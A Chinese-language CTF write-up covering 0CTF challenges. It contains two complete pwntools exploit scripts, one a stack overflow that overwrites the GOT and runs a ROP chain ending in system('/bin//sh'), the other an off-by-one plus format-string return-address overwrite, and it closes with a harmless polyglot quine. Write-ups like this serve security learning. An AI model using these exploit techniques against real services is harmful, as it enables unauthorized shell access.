周末参加了今年的第二次CTF,0CTF。与BCTF类似,这次的溢出、逆向题目也是非常有水平的,令人大开眼界。下面是我的部分的writeup。
flaggenerator
这道题的溢出还是比较明显的。在leetify时,一个h
字符会被变成1-1
三个字符,从而长度变长,造成栈溢出。但这道题有stack canary保护,如果我们栈溢出修改了返回地址,就会触发__stack_chk_fail
。而读了一遍伪代码之后并没有发现可以泄露canary的地方,于是肯定会触发调用__stack_chk_fail
了。
但是,在leetify的最后一步是strcpy
,而目标dest
是从栈上取的,源src
是我们提供的flag(虽然有些字符被leetify了)。dest
是我们可以覆盖到的,于是,如果我们把strcpy
的目标地址改为GOT,造成修改__stack_chk_fail@got
,那么就可以调用我们提供的函数了。
在调用__stack_chk_fail@got
时,栈顶还是之前strcpy
的参数。我用的是leave; ret
,这样把ebp
设为我们覆盖的一个地址,再跳回leetify的返回地址,那里也是被我们所覆盖的,进而ROP下去。pwntools里好像有写ROP的功能,我不太熟,还是手工构造的。具体地,先put
打印GOT,获得库函数地址;然后调用程序里一个类似readline
的函数,将system
和字符串/bin/sh
读到固定位置;最后leave; ret
,执行system("bin/sh")
。下面是代码:
#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='i386',os='linux')elf=ELF('flagen')#ip = "127.0.0.1"ip=sys.argv[1]conn=remote(ip,5149)#len=9newGOT=[0x080484e6,0x080484f6,0x08048506,0x08048516,0x08048526,0xf7e24570,0x08048546,0x08048556,0x08048566]leave=0x080485d8newGOT[0]=leave#leave; retnewEbp=0x0804b610newDest=0x0804b01c#__stack_chk_fail@gotpopRet=0x08048481#pop ebx; retnewRet=popRetputs=0x08048510#puts@pltread=0x0804b00c#read@gotreadLine=0x080486cbcount=0x01010101sh=newEbp+4*4bsh=0xf7f6a3a8#0x10c=4*9+77*3+1payload1="1\n"+"".join([p32(x)forxinnewGOT])+"h"*77+"a"+p32(newEbp)+p32(popRet)+p32(newDest)+p32(puts)+p32(popRet)+p32(read)+p32(readLine)+p32(leave)+p32(newEbp)+p32(count)+"\n4\n"#total: 4*9+77+1+4*10=154conn.recvuntil("Your choice: ")conn.send(payload1)conn.recvuntil("Your choice: ")a1=conn.recvn(4)readAddr=unpack(a1)print(hex(readAddr))#system = 0xf7e46d70system=readAddr-0x9aa40payload2=p32(newEbp)+p32(system)+p32(popRet)+p32(sh)+"/bin//sh\n"conn.send(payload2)conn.interactive()
login
这道题是PIE的,所以我调试下断点遇到了一点麻烦。最后我的方法是:在库函数MD5
下断点,运行到那里后,finish
回到原程序里,然后一步步走下去。
很明显,我们需要调用读flag文件的那个函数,为此我们需要成为normal user。再新login用户时的scanf
有问题,这里它用的是%256s
,这样如果输入256个字符,就会读256个,并添加一个\x00
在最后。这样,就可以修改那里,成为normal user了。
然后,在隐藏的选项4里,存在format string attack,而且一共有两次。于是我们可以在第一次得到内存地址,然后第二次修改来跳到读flag的函数那里。具体地,通过大量打印内存,我们发现printf
的第3个参数是栈上的某处,由此可以得到返回地址在栈上的地址;第75个参数是返回地址,由此我们可以得到.text
的基地址,进而得到读flag的函数的地址。然后,在第二次printf
时,我们修改返回地址为读flag,就可以在printf
结束后获得flag了。
下面是代码:
#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='i386',os='linux')#ip = "127.0.0.1"ip=sys.argv[1]conn=remote(ip,10910)payload="guest\nguest123\n2\n"+"A"*256+"4\n"+"%3$p,%75$p\n1234\n"conn.send(payload)conn.recvuntil("Password: ")conn.recvuntil("Password: ")addrs=(conn.recvline(keepends=False).split(" ")[0]).split(',')printaddrsstack=int(addrs[0],16)base=int(addrs[1],16)-0x12d3retAddr1=stack-0x8retAddr2=retAddr1+1printhex(retAddr1)printhex(base)high=(base&0xff00)>>8printhex(high)newHigh=high+0x11part1="%8x%11$hhn"count=newHigh-8print"count 2 is %d"%countifcount>13andcount<100:part2="aaa%%%dx%%12$hhn"%(count-3)elifcount>102:part2="aa%%%dx%%12$hhn"%(count-2)printlen(part1)+len(part2)printpart1+part2payload=part1+part2+p64(retAddr1)+p64(retAddr2)+"\n1234\n"conn.send(payload)conn.interactive()
polyglot quine
其实两道题都是考察的它,只不过第一题只要求5种语言里的3种通过即可,第二题则要求5种语言全部通过。第一题我是直接搜索在http://shinh.skr.jp/obf/得到的,它已经满足c, python2, ruby和perl了。但python3还不满足,为此我研究了一下这段代码。
实验发现,python3之所以不满足,是因为python里的print
会附加一个换行符在最后。为了解决这个问题,代码里用的是print a%b,
,即在print
之后添加一个逗号使得不打印换行符。但这只对python2有效,python3就不行了。
经过一番思考,我发现可以通过rstrip()
去掉结尾的换行符,然后再print
添加一个换行符,这样就做到了只有一个换行符了,而且这样对python2和python3都可以。下面就是我修改后可以通过5种语言的代码:
#include/* s='''*/main(){char*_;/*==;sub _:lvalue{$_}<<s;#';<<s#''' def printf(a,*b):print((a%b).rstrip()) s #*/ _=" #include/*%cs='''*/ %cmain(){char*_;/*==;sub _:lvalue{%c_}<<s;#';<<s#'''%cdef printf(a,*b):print((a%%b).rstrip())%cs%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cs='''*/%c}//'''#==%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10); #/* s='''*/ }//'''#==